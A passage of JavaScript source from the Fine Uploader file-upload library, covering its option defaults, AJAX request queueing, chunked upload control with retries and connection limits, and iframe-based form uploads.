                },
                text: {
                    defaultResponseError: "Upload failure reason unknown",
                    fileInputTitle: "file input",
                    sizeSymbols: [ "kB", "MB", "GB", "TB", "PB", "EB" ]
                },
                deleteFile: {
                    enabled: false,
                    method: "DELETE",
                    endpoint: "/server/upload",
                    customHeaders: {},
                    params: {}
                },
                cors: {
                    expected: false,
                    sendCredentials: false,
                    allowXdr: false
                },
                blobs: {
                    defaultName: "misc_data"
                },
                paste: {
                    targetElement: null,
                    defaultName: "pasted_image"
                },
                camera: {
                    ios: false,
                    button: null
                },
                extraButtons: [],
                session: {
                    endpoint: null,
                    params: {},
                    customHeaders: {},
                    refreshOnReset: true
                },
                form: {
                    element: "qq-form",
                    autoUpload: false,
                    interceptSubmit: true
                },
                scaling: {
                    customResizer: null,
                    sendOriginal: true,
                    orient: true,
                    defaultType: null,
                    defaultQuality: 80,
                    failureText: "Failed to scale",
                    includeExif: false,
                    sizes: []
                },
                workarounds: {
                    iosEmptyVideos: true,
                    ios8SafariUploads: true,
                    ios8BrowserCrash: false
                }
            };
            qq.extend(this._options, o, true);
            this._buttons = [];
            this._extraButtonSpecs = {};
            this._buttonIdsForFileIds = [];
            this._wrapCallbacks();
            this._disposeSupport = new qq.DisposeSupport();
            this._storedIds = [];
            this._autoRetries = [];
            this._retryTimeouts = [];
            this._preventRetries = [];
            this._thumbnailUrls = [];
            this._netUploadedOrQueued = 0;
            this._netUploaded = 0;
            this._uploadData = this._createUploadDataTracker();
            this._initFormSupportAndParams();
            this._customHeadersStore = this._createStore(this._options.request.customHeaders);
            this._deleteFileCustomHeadersStore = this._createStore(this._options.deleteFile.customHeaders);
            this._deleteFileParamsStore = this._createStore(this._options.deleteFile.params);
            this._endpointStore = this._createStore(this._options.request.endpoint);
            this._deleteFileEndpointStore = this._createStore(this._options.deleteFile.endpoint);
            this._handler = this._createUploadHandler();
            this._deleteHandler = qq.DeleteFileAjaxRequester && this._createDeleteHandler();
            if (this._options.button) {
                this._defaultButtonId = this._createUploadButton({
                    element: this._options.button,
                    title: this._options.text.fileInputTitle
                }).getButtonId();
            }
            this._generateExtraButtonSpecs();
            this._handleCameraAccess();
            if (this._options.paste.targetElement) {
                if (qq.PasteSupport) {
                    this._pasteHandler = this._createPasteHandler();
                } else {
                    this.log("Paste support module not found", "error");
                }
            }
            this._preventLeaveInProgress();
            this._imageGenerator = qq.ImageGenerator && new qq.ImageGenerator(qq.bind(this.log, this));
            this._refreshSessionData();
            this._succeededSinceLastAllComplete = [];
            this._failedSinceLastAllComplete = [];
            this._scaler = qq.Scaler && new qq.Scaler(this._options.scaling, qq.bind(this.log, this)) || {};
            if (this._scaler.enabled) {
                this._customNewFileHandler = qq.bind(this._scaler.handleNewFile, this._scaler);
            }
            if (qq.TotalProgress && qq.supportedFeatures.progressBar) {
                this._totalProgress = new qq.TotalProgress(qq.bind(this._onTotalProgress, this), function(id) {
                    var entry = self._uploadData.retrieve({
                        id: id
                    });
                    return entry && entry.size || 0;
                });
            }
            this._currentItemLimit = this._options.validation.itemLimit;
        };
        qq.FineUploaderBasic.prototype = qq.basePublicApi;
        qq.extend(qq.FineUploaderBasic.prototype, qq.basePrivateApi);
    })();
    qq.AjaxRequester = function(o) {
        "use strict";
        var log, shouldParamsBeInQueryString, queue = [], requestData = {}, options = {
            acceptHeader: null,
            validMethods: [ "PATCH", "POST", "PUT" ],
            method: "POST",
            contentType: "application/x-www-form-urlencoded",
            maxConnections: 3,
            customHeaders: {},
            endpointStore: {},
            paramsStore: {},
            mandatedParams: {},
            allowXRequestedWithAndCacheControl: true,
            successfulResponseCodes: {
                DELETE: [ 200, 202, 204 ],
                PATCH: [ 200, 201, 202, 203, 204 ],
                POST: [ 200, 201, 202, 203, 204 ],
                PUT: [ 200, 201, 202, 203, 204 ],
                GET: [ 200 ]
            },
            cors: {
                expected: false,
                sendCredentials: false
            },
            log: function(str, level) {},
            onSend: function(id) {},
            onComplete: function(id, xhrOrXdr, isError) {},
            onProgress: null
        };
        qq.extend(options, o);
        log = options.log;
        if (qq.indexOf(options.validMethods, options.method) < 0) {
            throw new Error("'" + options.method + "' is not a supported method for this type of request!");
        }
        function isSimpleMethod() {
            return qq.indexOf([ "GET", "POST", "HEAD" ], options.method) >= 0;
        }
        function containsNonSimpleHeaders(headers) {
            var containsNonSimple = false;
            qq.each(containsNonSimple, function(idx, header) {
                if (qq.indexOf([ "Accept", "Accept-Language", "Content-Language", "Content-Type" ], header) < 0) {
                    containsNonSimple = true;
                    return false;
                }
            });
            return containsNonSimple;
        }
        function isXdr(xhr) {
            return options.cors.expected && xhr.withCredentials === undefined;
        }
        function getCorsAjaxTransport() {
            var xhrOrXdr;
            if (window.XMLHttpRequest || window.ActiveXObject) {
                xhrOrXdr = qq.createXhrInstance();
                if (xhrOrXdr.withCredentials === undefined) {
                    xhrOrXdr = new XDomainRequest();
                    xhrOrXdr.onload = function() {};
                    xhrOrXdr.onerror = function() {};
                    xhrOrXdr.ontimeout = function() {};
                    xhrOrXdr.onprogress = function() {};
                }
            }
            return xhrOrXdr;
        }
        function getXhrOrXdr(id, suppliedXhr) {
            var xhrOrXdr = requestData[id].xhr;
            if (!xhrOrXdr) {
                if (suppliedXhr) {
                    xhrOrXdr = suppliedXhr;
                } else {
                    if (options.cors.expected) {
                        xhrOrXdr = getCorsAjaxTransport();
                    } else {
                        xhrOrXdr = qq.createXhrInstance();
                    }
                }
                requestData[id].xhr = xhrOrXdr;
            }
            return xhrOrXdr;
        }
        function dequeue(id) {
            var i = qq.indexOf(queue, id), max = options.maxConnections, nextId;
            delete requestData[id];
            queue.splice(i, 1);
            if (queue.length >= max && i < max) {
                nextId = queue[max - 1];
                sendRequest(nextId);
            }
        }
        function onComplete(id, xdrError) {
            var xhr = getXhrOrXdr(id), method = options.method, isError = xdrError === true;
            dequeue(id);
            if (isError) {
                log(method + " request for " + id + " has failed", "error");
            } else if (!isXdr(xhr) && !isResponseSuccessful(xhr.status)) {
                isError = true;
                log(method + " request for " + id + " has failed - response code " + xhr.status, "error");
            }
            options.onComplete(id, xhr, isError);
        }
        function getParams(id) {
            var onDemandParams = requestData[id].additionalParams, mandatedParams = options.mandatedParams, params;
            if (options.paramsStore.get) {
                params = options.paramsStore.get(id);
            }
            if (onDemandParams) {
                qq.each(onDemandParams, function(name, val) {
                    params = params || {};
                    params[name] = val;
                });
            }
            if (mandatedParams) {
                qq.each(mandatedParams, function(name, val) {
                    params = params || {};
                    params[name] = val;
                });
            }
            return params;
        }
        function sendRequest(id, optXhr) {
            var xhr = getXhrOrXdr(id, optXhr), method = options.method, params = getParams(id), payload = requestData[id].payload, url;
            options.onSend(id);
            url = createUrl(id, params, requestData[id].additionalQueryParams);
            if (isXdr(xhr)) {
                xhr.onload = getXdrLoadHandler(id);
                xhr.onerror = getXdrErrorHandler(id);
            } else {
                xhr.onreadystatechange = getXhrReadyStateChangeHandler(id);
            }
            registerForUploadProgress(id);
            xhr.open(method, url, true);
            if (options.cors.expected && options.cors.sendCredentials && !isXdr(xhr)) {
                xhr.withCredentials = true;
            }
            setHeaders(id);
            log("Sending " + method + " request for " + id);
            if (payload) {
                xhr.send(payload);
            } else if (shouldParamsBeInQueryString || !params) {
                xhr.send();
            } else if (params && options.contentType && options.contentType.toLowerCase().indexOf("application/x-www-form-urlencoded") >= 0) {
                xhr.send(qq.obj2url(params, ""));
            } else if (params && options.contentType && options.contentType.toLowerCase().indexOf("application/json") >= 0) {
                xhr.send(JSON.stringify(params));
            } else {
                xhr.send(params);
            }
            return xhr;
        }
        function createUrl(id, params, additionalQueryParams) {
            var endpoint = options.endpointStore.get(id), addToPath = requestData[id].addToPath;
            if (addToPath != undefined) {
                endpoint += "/" + addToPath;
            }
            if (shouldParamsBeInQueryString && params) {
                endpoint = qq.obj2url(params, endpoint);
            }
            if (additionalQueryParams) {
                endpoint = qq.obj2url(additionalQueryParams, endpoint);
            }
            return endpoint;
        }
        function getXhrReadyStateChangeHandler(id) {
            return function() {
                if (getXhrOrXdr(id).readyState === 4) {
                    onComplete(id);
                }
            };
        }
        function registerForUploadProgress(id) {
            var onProgress = options.onProgress;
            if (onProgress) {
                getXhrOrXdr(id).upload.onprogress = function(e) {
                    if (e.lengthComputable) {
                        onProgress(id, e.loaded, e.total);
                    }
                };
            }
        }
        function getXdrLoadHandler(id) {
            return function() {
                onComplete(id);
            };
        }
        function getXdrErrorHandler(id) {
            return function() {
                onComplete(id, true);
            };
        }
        function setHeaders(id) {
            var xhr = getXhrOrXdr(id), customHeaders = options.customHeaders, onDemandHeaders = requestData[id].additionalHeaders || {}, method = options.method, allHeaders = {};
            if (!isXdr(xhr)) {
                options.acceptHeader && xhr.setRequestHeader("Accept", options.acceptHeader);
                if (options.allowXRequestedWithAndCacheControl) {
                    if (!options.cors.expected || (!isSimpleMethod() || containsNonSimpleHeaders(customHeaders))) {
                        xhr.setRequestHeader("X-Requested-With", "XMLHttpRequest");
                        xhr.setRequestHeader("Cache-Control", "no-cache");
                    }
                }
                if (options.contentType && (method === "POST" || method === "PUT")) {
                    xhr.setRequestHeader("Content-Type", options.contentType);
                }
                qq.extend(allHeaders, qq.isFunction(customHeaders) ? customHeaders(id) : customHeaders);
                qq.extend(allHeaders, onDemandHeaders);
                qq.each(allHeaders, function(name, val) {
                    xhr.setRequestHeader(name, val);
                });
            }
        }
        function isResponseSuccessful(responseCode) {
            return qq.indexOf(options.successfulResponseCodes[options.method], responseCode) >= 0;
        }
        function prepareToSend(id, optXhr, addToPath, additionalParams, additionalQueryParams, additionalHeaders, payload) {
            requestData[id] = {
                addToPath: addToPath,
                additionalParams: additionalParams,
                additionalQueryParams: additionalQueryParams,
                additionalHeaders: additionalHeaders,
                payload: payload
            };
            var len = queue.push(id);
            if (len <= options.maxConnections) {
                return sendRequest(id, optXhr);
            }
        }
        shouldParamsBeInQueryString = options.method === "GET" || options.method === "DELETE";
        qq.extend(this, {
            initTransport: function(id) {
                var path, params, headers, payload, cacheBuster, additionalQueryParams;
                return {
                    withPath: function(appendToPath) {
                        path = appendToPath;
                        return this;
                    },
                    withParams: function(additionalParams) {
                        params = additionalParams;
                        return this;
                    },
                    withQueryParams: function(_additionalQueryParams_) {
                        additionalQueryParams = _additionalQueryParams_;
                        return this;
                    },
                    withHeaders: function(additionalHeaders) {
                        headers = additionalHeaders;
                        return this;
                    },
                    withPayload: function(thePayload) {
                        payload = thePayload;
                        return this;
                    },
                    withCacheBuster: function() {
                        cacheBuster = true;
                        return this;
                    },
                    send: function(optXhr) {
                        if (cacheBuster && qq.indexOf([ "GET", "DELETE" ], options.method) >= 0) {
                            params.qqtimestamp = new Date().getTime();
                        }
                        return prepareToSend(id, optXhr, path, params, additionalQueryParams, headers, payload);
                    }
                };
            },
            canceled: function(id) {
                dequeue(id);
            }
        });
    };
    qq.UploadHandler = function(spec) {
        "use strict";
        var proxy = spec.proxy, fileState = {}, onCancel = proxy.onCancel, getName = proxy.getName;
        qq.extend(this, {
            add: function(id, fileItem) {
                fileState[id] = fileItem;
                fileState[id].temp = {};
            },
            cancel: function(id) {
                var self = this, cancelFinalizationEffort = new qq.Promise(), onCancelRetVal = onCancel(id, getName(id), cancelFinalizationEffort);
                onCancelRetVal.then(function() {
                    if (self.isValid(id)) {
                        fileState[id].canceled = true;
                        self.expunge(id);
                    }
                    cancelFinalizationEffort.success();
                });
            },
            expunge: function(id) {
                delete fileState[id];
            },
            getThirdPartyFileId: function(id) {
                return fileState[id].key;
            },
            isValid: function(id) {
                return fileState[id] !== undefined;
            },
            reset: function() {
                fileState = {};
            },
            _getFileState: function(id) {
                return fileState[id];
            },
            _setThirdPartyFileId: function(id, thirdPartyFileId) {
                fileState[id].key = thirdPartyFileId;
            },
            _wasCanceled: function(id) {
                return !!fileState[id].canceled;
            }
        });
    };
    qq.UploadHandlerController = function(o, namespace) {
        "use strict";
        var controller = this, chunkingPossible = false, concurrentChunkingPossible = false, chunking, preventRetryResponse, log, handler, options = {
            paramsStore: {},
            maxConnections: 3,
            chunking: {
                enabled: false,
                multiple: {
                    enabled: false
                }
            },
            log: function(str, level) {},
            onProgress: function(id, fileName, loaded, total) {},
            onComplete: function(id, fileName, response, xhr) {},
            onCancel: function(id, fileName) {},
            onUploadPrep: function(id) {},
            onUpload: function(id, fileName) {},
            onUploadChunk: function(id, fileName, chunkData) {},
            onUploadChunkSuccess: function(id, chunkData, response, xhr) {},
            onAutoRetry: function(id, fileName, response, xhr) {},
            onResume: function(id, fileName, chunkData) {},
            onUuidChanged: function(id, newUuid) {},
            getName: function(id) {},
            setSize: function(id, newSize) {},
            isQueued: function(id) {},
            getIdsInProxyGroup: function(id) {},
            getIdsInBatch: function(id) {}
        }, chunked = {
            done: function(id, chunkIdx, response, xhr) {
                var chunkData = handler._getChunkData(id, chunkIdx);
                handler._getFileState(id).attemptingResume = false;
                delete handler._getFileState(id).temp.chunkProgress[chunkIdx];
                handler._getFileState(id).loaded += chunkData.size;
                options.onUploadChunkSuccess(id, handler._getChunkDataForCallback(chunkData), response, xhr);
            },
            finalize: function(id) {
                var size = options.getSize(id), name = options.getName(id);
                log("All chunks have been uploaded for " + id + " - finalizing....");
                handler.finalizeChunks(id).then(function(response, xhr) {
                    log("Finalize successful for " + id);
                    var normaizedResponse = upload.normalizeResponse(response, true);
                    options.onProgress(id, name, size, size);
                    handler._maybeDeletePersistedChunkData(id);
                    upload.cleanup(id, normaizedResponse, xhr);
                }, function(response, xhr) {
                    var normaizedResponse = upload.normalizeResponse(response, false);
                    log("Problem finalizing chunks for file ID " + id + " - " + normaizedResponse.error, "error");
                    if (normaizedResponse.reset) {
                        chunked.reset(id);
                    }
                    if (!options.onAutoRetry(id, name, normaizedResponse, xhr)) {
                        upload.cleanup(id, normaizedResponse, xhr);
                    }
                });
            },
            hasMoreParts: function(id) {
                return !!handler._getFileState(id).chunking.remaining.length;
            },
            nextPart: function(id) {
                var nextIdx = handler._getFileState(id).chunking.remaining.shift();
                if (nextIdx >= handler._getTotalChunks(id)) {
                    nextIdx = null;
                }
                return nextIdx;
            },
            reset: function(id) {
                log("Server or callback has ordered chunking effort to be restarted on next attempt for item ID " + id, "error");
                handler._maybeDeletePersistedChunkData(id);
                handler.reevaluateChunking(id);
                handler._getFileState(id).loaded = 0;
            },
            sendNext: function(id) {
                var size = options.getSize(id), name = options.getName(id), chunkIdx = chunked.nextPart(id), chunkData = handler._getChunkData(id, chunkIdx), resuming = handler._getFileState(id).attemptingResume, inProgressChunks = handler._getFileState(id).chunking.inProgress || [];
                if (handler._getFileState(id).loaded == null) {
                    handler._getFileState(id).loaded = 0;
                }
                if (resuming && options.onResume(id, name, chunkData) === false) {
                    chunked.reset(id);
                    chunkIdx = chunked.nextPart(id);
                    chunkData = handler._getChunkData(id, chunkIdx);
                    resuming = false;
                }
                if (chunkIdx == null && inProgressChunks.length === 0) {
                    chunked.finalize(id);
                } else {
                    log(qq.format("Sending chunked upload request for item {}.{}, bytes {}-{} of {}.", id, chunkIdx, chunkData.start + 1, chunkData.end, size));
                    options.onUploadChunk(id, name, handler._getChunkDataForCallback(chunkData));
                    inProgressChunks.push(chunkIdx);
                    handler._getFileState(id).chunking.inProgress = inProgressChunks;
                    if (concurrentChunkingPossible) {
                        connectionManager.open(id, chunkIdx);
                    }
                    if (concurrentChunkingPossible && connectionManager.available() && handler._getFileState(id).chunking.remaining.length) {
                        chunked.sendNext(id);
                    }
                    handler.uploadChunk(id, chunkIdx, resuming).then(function success(response, xhr) {
                        log("Chunked upload request succeeded for " + id + ", chunk " + chunkIdx);
                        handler.clearCachedChunk(id, chunkIdx);
                        var inProgressChunks = handler._getFileState(id).chunking.inProgress || [], responseToReport = upload.normalizeResponse(response, true), inProgressChunkIdx = qq.indexOf(inProgressChunks, chunkIdx);
                        log(qq.format("Chunk {} for file {} uploaded successfully.", chunkIdx, id));
                        chunked.done(id, chunkIdx, responseToReport, xhr);
                        if (inProgressChunkIdx >= 0) {
                            inProgressChunks.splice(inProgressChunkIdx, 1);
                        }
                        handler._maybePersistChunkedState(id);
                        if (!chunked.hasMoreParts(id) && inProgressChunks.length === 0) {
                            chunked.finalize(id);
                        } else if (chunked.hasMoreParts(id)) {
                            chunked.sendNext(id);
                        } else {
                            log(qq.format("File ID {} has no more chunks to send and these chunk indexes are still marked as in-progress: {}", id, JSON.stringify(inProgressChunks)));
                        }
                    }, function failure(response, xhr) {
                        log("Chunked upload request failed for " + id + ", chunk " + chunkIdx);
                        handler.clearCachedChunk(id, chunkIdx);
                        var responseToReport = upload.normalizeResponse(response, false), inProgressIdx;
                        if (responseToReport.reset) {
                            chunked.reset(id);
                        } else {
                            inProgressIdx = qq.indexOf(handler._getFileState(id).chunking.inProgress, chunkIdx);
                            if (inProgressIdx >= 0) {
                                handler._getFileState(id).chunking.inProgress.splice(inProgressIdx, 1);
                                handler._getFileState(id).chunking.remaining.unshift(chunkIdx);
                            }
                        }
                        if (!handler._getFileState(id).temp.ignoreFailure) {
                            if (concurrentChunkingPossible) {
                                handler._getFileState(id).temp.ignoreFailure = true;
                                log(qq.format("Going to attempt to abort these chunks: {}. These are currently in-progress: {}.", JSON.stringify(Object.keys(handler._getXhrs(id))), JSON.stringify(handler._getFileState(id).chunking.inProgress)));
                                qq.each(handler._getXhrs(id), function(ckid, ckXhr) {
                                    log(qq.format("Attempting to abort file {}.{}. XHR readyState {}. ", id, ckid, ckXhr.readyState));
                                    ckXhr.abort();
                                    ckXhr._cancelled = true;
                                });
                                handler.moveInProgressToRemaining(id);
                                connectionManager.free(id, true);
                            }
                            if (!options.onAutoRetry(id, name, responseToReport, xhr)) {
                                upload.cleanup(id, responseToReport, xhr);
                            }
                        }
                    }).done(function() {
                        handler.clearXhr(id, chunkIdx);
                    });
                }
            }
        }, connectionManager = {
            _open: [],
            _openChunks: {},
            _waiting: [],
            available: function() {
                var max = options.maxConnections, openChunkEntriesCount = 0, openChunksCount = 0;
                qq.each(connectionManager._openChunks, function(fileId, openChunkIndexes) {
                    openChunkEntriesCount++;
                    openChunksCount += openChunkIndexes.length;
                });
                return max - (connectionManager._open.length - openChunkEntriesCount + openChunksCount);
            },
            free: function(id, dontAllowNext) {
                var allowNext = !dontAllowNext, waitingIndex = qq.indexOf(connectionManager._waiting, id), connectionsIndex = qq.indexOf(connectionManager._open, id), nextId;
                delete connectionManager._openChunks[id];
                if (upload.getProxyOrBlob(id) instanceof qq.BlobProxy) {
                    log("Generated blob upload has ended for " + id + ", disposing generated blob.");
                    delete handler._getFileState(id).file;
                }
                if (waitingIndex >= 0) {
                    connectionManager._waiting.splice(waitingIndex, 1);
                } else if (allowNext && connectionsIndex >= 0) {
                    connectionManager._open.splice(connectionsIndex, 1);
                    nextId = connectionManager._waiting.shift();
                    if (nextId >= 0) {
                        connectionManager._open.push(nextId);
                        upload.start(nextId);
                    }
                }
            },
            getWaitingOrConnected: function() {
                var waitingOrConnected = [];
                qq.each(connectionManager._openChunks, function(fileId, chunks) {
                    if (chunks && chunks.length) {
                        waitingOrConnected.push(parseInt(fileId));
                    }
                });
                qq.each(connectionManager._open, function(idx, fileId) {
                    if (!connectionManager._openChunks[fileId]) {
                        waitingOrConnected.push(parseInt(fileId));
                    }
                });
                waitingOrConnected = waitingOrConnected.concat(connectionManager._waiting);
                return waitingOrConnected;
            },
            isUsingConnection: function(id) {
                return qq.indexOf(connectionManager._open, id) >= 0;
            },
            open: function(id, chunkIdx) {
                if (chunkIdx == null) {
                    connectionManager._waiting.push(id);
                }
                if (connectionManager.available()) {
                    if (chunkIdx == null) {
                        connectionManager._waiting.pop();
                        connectionManager._open.push(id);
                    } else {
                        (function() {
                            var openChunksEntry = connectionManager._openChunks[id] || [];
                            openChunksEntry.push(chunkIdx);
                            connectionManager._openChunks[id] = openChunksEntry;
                        })();
                    }
                    return true;
                }
                return false;
            },
            reset: function() {
                connectionManager._waiting = [];
                connectionManager._open = [];
            }
        }, simple = {
            send: function(id, name) {
                handler._getFileState(id).loaded = 0;
                log("Sending simple upload request for " + id);
                handler.uploadFile(id).then(function(response, optXhr) {
                    log("Simple upload request succeeded for " + id);
                    var responseToReport = upload.normalizeResponse(response, true), size = options.getSize(id);
                    options.onProgress(id, name, size, size);
                    upload.maybeNewUuid(id, responseToReport);
                    upload.cleanup(id, responseToReport, optXhr);
                }, function(response, optXhr) {
                    log("Simple upload request failed for " + id);
                    var responseToReport = upload.normalizeResponse(response, false);
                    if (!options.onAutoRetry(id, name, responseToReport, optXhr)) {
                        upload.cleanup(id, responseToReport, optXhr);
                    }
                });
            }
        }, upload = {
            cancel: function(id) {
                log("Cancelling " + id);
                options.paramsStore.remove(id);
                connectionManager.free(id);
            },
            cleanup: function(id, response, optXhr) {
                var name = options.getName(id);
                options.onComplete(id, name, response, optXhr);
                if (handler._getFileState(id)) {
                    handler._clearXhrs && handler._clearXhrs(id);
                }
                connectionManager.free(id);
            },
            getProxyOrBlob: function(id) {
                return handler.getProxy && handler.getProxy(id) || handler.getFile && handler.getFile(id);
            },
            initHandler: function() {
                var handlerType = namespace ? qq[namespace] : qq.traditional, handlerModuleSubtype = qq.supportedFeatures.ajaxUploading ? "Xhr" : "Form";
                handler = new handlerType[handlerModuleSubtype + "UploadHandler"](options, {
                    getDataByUuid: options.getDataByUuid,
                    getName: options.getName,
                    getSize: options.getSize,
                    getUuid: options.getUuid,
                    log: log,
                    onCancel: options.onCancel,
                    onProgress: options.onProgress,
                    onUuidChanged: options.onUuidChanged
                });
                if (handler._removeExpiredChunkingRecords) {
                    handler._removeExpiredChunkingRecords();
                }
            },
            isDeferredEligibleForUpload: function(id) {
                return options.isQueued(id);
            },
            maybeDefer: function(id, blob) {
                if (blob && !handler.getFile(id) && blob instanceof qq.BlobProxy) {
                    options.onUploadPrep(id);
                    log("Attempting to generate a blob on-demand for " + id);
                    blob.create().then(function(generatedBlob) {
                        log("Generated an on-demand blob for " + id);
                        handler.updateBlob(id, generatedBlob);
                        options.setSize(id, generatedBlob.size);
                        handler.reevaluateChunking(id);
                        upload.maybeSendDeferredFiles(id);
                    }, function(errorMessage) {
                        var errorResponse = {};
                        if (errorMessage) {
                            errorResponse.error = errorMessage;
                        }
                        log(qq.format("Failed to generate blob for ID {}.  Error message: {}.", id, errorMessage), "error");
                        options.onComplete(id, options.getName(id), qq.extend(errorResponse, preventRetryResponse), null);
                        upload.maybeSendDeferredFiles(id);
                        connectionManager.free(id);
                    });
                } else {
                    return upload.maybeSendDeferredFiles(id);
                }
                return false;
            },
            maybeSendDeferredFiles: function(id) {
                var idsInGroup = options.getIdsInProxyGroup(id), uploadedThisId = false;
                if (idsInGroup && idsInGroup.length) {
                    log("Maybe ready to upload proxy group file " + id);
                    qq.each(idsInGroup, function(idx, idInGroup) {
                        if (upload.isDeferredEligibleForUpload(idInGroup) && !!handler.getFile(idInGroup)) {
                            uploadedThisId = idInGroup === id;
                            upload.now(idInGroup);
                        } else if (upload.isDeferredEligibleForUpload(idInGroup)) {
                            return false;
                        }
                    });
                } else {
                    uploadedThisId = true;
                    upload.now(id);
                }
                return uploadedThisId;
            },
            maybeNewUuid: function(id, response) {
                if (response.newUuid !== undefined) {
                    options.onUuidChanged(id, response.newUuid);
                }
            },
            normalizeResponse: function(originalResponse, successful) {
                var response = originalResponse;
                if (!qq.isObject(originalResponse)) {
                    response = {};
                    if (qq.isString(originalResponse) && !successful) {
                        response.error = originalResponse;
                    }
                }
                response.success = successful;
                return response;
            },
            now: function(id) {
                var name = options.getName(id);
                if (!controller.isValid(id)) {
                    throw new qq.Error(id + " is not a valid file ID to upload!");
                }
                options.onUpload(id, name);
                if (chunkingPossible && handler._shouldChunkThisFile(id)) {
                    chunked.sendNext(id);
                } else {
                    simple.send(id, name);
                }
            },
            start: function(id) {
                var blobToUpload = upload.getProxyOrBlob(id);
                if (blobToUpload) {
                    return upload.maybeDefer(id, blobToUpload);
                } else {
                    upload.now(id);
                    return true;
                }
            }
        };
        qq.extend(this, {
            add: function(id, file) {
                handler.add.apply(this, arguments);
            },
            upload: function(id) {
                if (connectionManager.open(id)) {
                    return upload.start(id);
                }
                return false;
            },
            retry: function(id) {
                if (concurrentChunkingPossible) {
                    handler._getFileState(id).temp.ignoreFailure = false;
                }
                if (connectionManager.isUsingConnection(id)) {
                    return upload.start(id);
                } else {
                    return controller.upload(id);
                }
            },
            cancel: function(id) {
                var cancelRetVal = handler.cancel(id);
                if (qq.isGenericPromise(cancelRetVal)) {
                    cancelRetVal.then(function() {
                        upload.cancel(id);
                    });
                } else if (cancelRetVal !== false) {
                    upload.cancel(id);
                }
            },
            cancelAll: function() {
                var waitingOrConnected = connectionManager.getWaitingOrConnected(), i;
                if (waitingOrConnected.length) {
                    for (i = waitingOrConnected.length - 1; i >= 0; i--) {
                        controller.cancel(waitingOrConnected[i]);
                    }
                }
                connectionManager.reset();
            },
            getFile: function(id) {
                if (handler.getProxy && handler.getProxy(id)) {
                    return handler.getProxy(id).referenceBlob;
                }
                return handler.getFile && handler.getFile(id);
            },
            isProxied: function(id) {
                return !!(handler.getProxy && handler.getProxy(id));
            },
            getInput: function(id) {
                if (handler.getInput) {
                    return handler.getInput(id);
                }
            },
            reset: function() {
                log("Resetting upload handler");
                controller.cancelAll();
                connectionManager.reset();
                handler.reset();
            },
            expunge: function(id) {
                if (controller.isValid(id)) {
                    return handler.expunge(id);
                }
            },
            isValid: function(id) {
                return handler.isValid(id);
            },
            getResumableFilesData: function() {
                if (handler.getResumableFilesData) {
                    return handler.getResumableFilesData();
                }
                return [];
            },
            getThirdPartyFileId: function(id) {
                if (controller.isValid(id)) {
                    return handler.getThirdPartyFileId(id);
                }
            },
            pause: function(id) {
                if (controller.isResumable(id) && handler.pause && controller.isValid(id) && handler.pause(id)) {
                    connectionManager.free(id);
                    handler.moveInProgressToRemaining(id);
                    return true;
                }
                return false;
            },
            isResumable: function(id) {
                return !!handler.isResumable && handler.isResumable(id);
            }
        });
        qq.extend(options, o);
        log = options.log;
        chunkingPossible = options.chunking.enabled && qq.supportedFeatures.chunking;
        concurrentChunkingPossible = chunkingPossible && options.chunking.concurrent.enabled;
        preventRetryResponse = function() {
            var response = {};
            response[options.preventRetryParam] = true;
            return response;
        }();
        upload.initHandler();
    };
    qq.WindowReceiveMessage = function(o) {
        "use strict";
        var options = {
            log: function(message, level) {}
        }, callbackWrapperDetachers = {};
        qq.extend(options, o);
        qq.extend(this, {
            receiveMessage: function(id, callback) {
                var onMessageCallbackWrapper = function(event) {
                    callback(event.data);
                };
                if (window.postMessage) {
                    callbackWrapperDetachers[id] = qq(window).attach("message", onMessageCallbackWrapper);
                } else {
                    log("iframe message passing not supported in this browser!", "error");
                }
            },
            stopReceivingMessages: function(id) {
                if (window.postMessage) {
                    var detacher = callbackWrapperDetachers[id];
                    if (detacher) {
                        detacher();
                    }
                }
            }
        });
    };
    qq.FormUploadHandler = function(spec) {
        "use strict";
        var options = spec.options, handler = this, proxy = spec.proxy, formHandlerInstanceId = qq.getUniqueId(), onloadCallbacks = {}, detachLoadEvents = {}, postMessageCallbackTimers = {}, isCors = options.isCors, inputName = options.inputName, getUuid = proxy.getUuid, log = proxy.log, corsMessageReceiver = new qq.WindowReceiveMessage({
            log: log
        });
        function expungeFile(id) {
            delete detachLoadEvents[id];
            if (isCors) {
                clearTimeout(postMessageCallbackTimers[id]);
                delete postMessageCallbackTimers[id];
                corsMessageReceiver.stopReceivingMessages(id);
            }
            var iframe = document.getElementById(handler._getIframeName(id));
            if (iframe) {
                iframe.setAttribute("src", "javascript:false;");
                qq(iframe).remove();
            }
        }
        function getFileIdForIframeName(iframeName) {
            return iframeName.split("_")[0];
        }
        function initIframeForUpload(name) {
            var iframe = qq.toElement("<iframe src='javascript:false;' name='" + name + "' />");
            iframe.setAttribute("id", name);
            iframe.style.display = "none";
            document.body.appendChild(iframe);
            return iframe;
        }
        function registerPostMessageCallback(iframe, callback) {
            var iframeName = iframe.id, fileId = getFileIdForIframeName(iframeName), uuid = getUuid(fileId);
            onloadCallbacks[uuid] = callback;
            detachLoadEvents[fileId] = qq(iframe).attach("load", function() {
                if (handler.getInput(fileId)) {
                    log("Received iframe load event for CORS upload request (iframe name " + iframeName + ")");
                    postMessageCallbackTimers[iframeName] = setTimeout(function() {
                        var errorMessage = "No valid message received from loaded iframe for iframe name " + iframeName;
                        log(errorMessage, "error");
                        callback({
                            error: errorMessage
                        });
                    }, 1e3);
                }
            });
            corsMessageReceiver.receiveMessage(iframeName, function(message) {
                log("Received the following window message: '" + message + "'");
                var fileId = getFileIdForIframeName(iframeName), response = handler._parseJsonResponse(message), uuid = response.uuid, onloadCallback;
                if (uuid && onloadCallbacks[uuid]) {
                    log("Handling response for iframe name " + iframeName);
                    clearTimeout(postMessageCallbackTimers[iframeName]);
                    delete postMessageCallbackTimers[iframeName];
                    handler._detachLoadEvent(iframeName);
                    onloadCallback = onloadCallbacks[uuid];
                    delete onloadCallbacks[uuid];
                    corsMessageReceiver.stopReceivingMessages(iframeName);
                    onloadCallback(response);
                } else if (!uuid) {
                    log("'" + message + "' does not contain a UUID - ignoring.");
                }
            });
        }
        qq.extend(this, new qq.UploadHandler(spec));
        qq.override(this, function(super_) {
            return {
                add: function(id, fileInput) {
                    super_.add(id, {
                        input: fileInput
                    });
                    fileInput.setAttribute("name", inputName);
                    if (fileInput.parentNode) {
                        qq(fileInput).remove();
                    }
                },
                expunge: function(id) {
                    expungeFile(id);
                    super_.expunge(id);
                },
                isValid: function(id) {
                    return super_.isValid(id) && handler._getFileState(id).input !== undefined;
                }
            };
        });
        qq.extend(this, {
            getInput: function(id) {
                return handler._getFileState(id).input;
            },
            _attachLoadEvent: function(iframe, callback) {
                var responseDescriptor;
                if (isCors) {
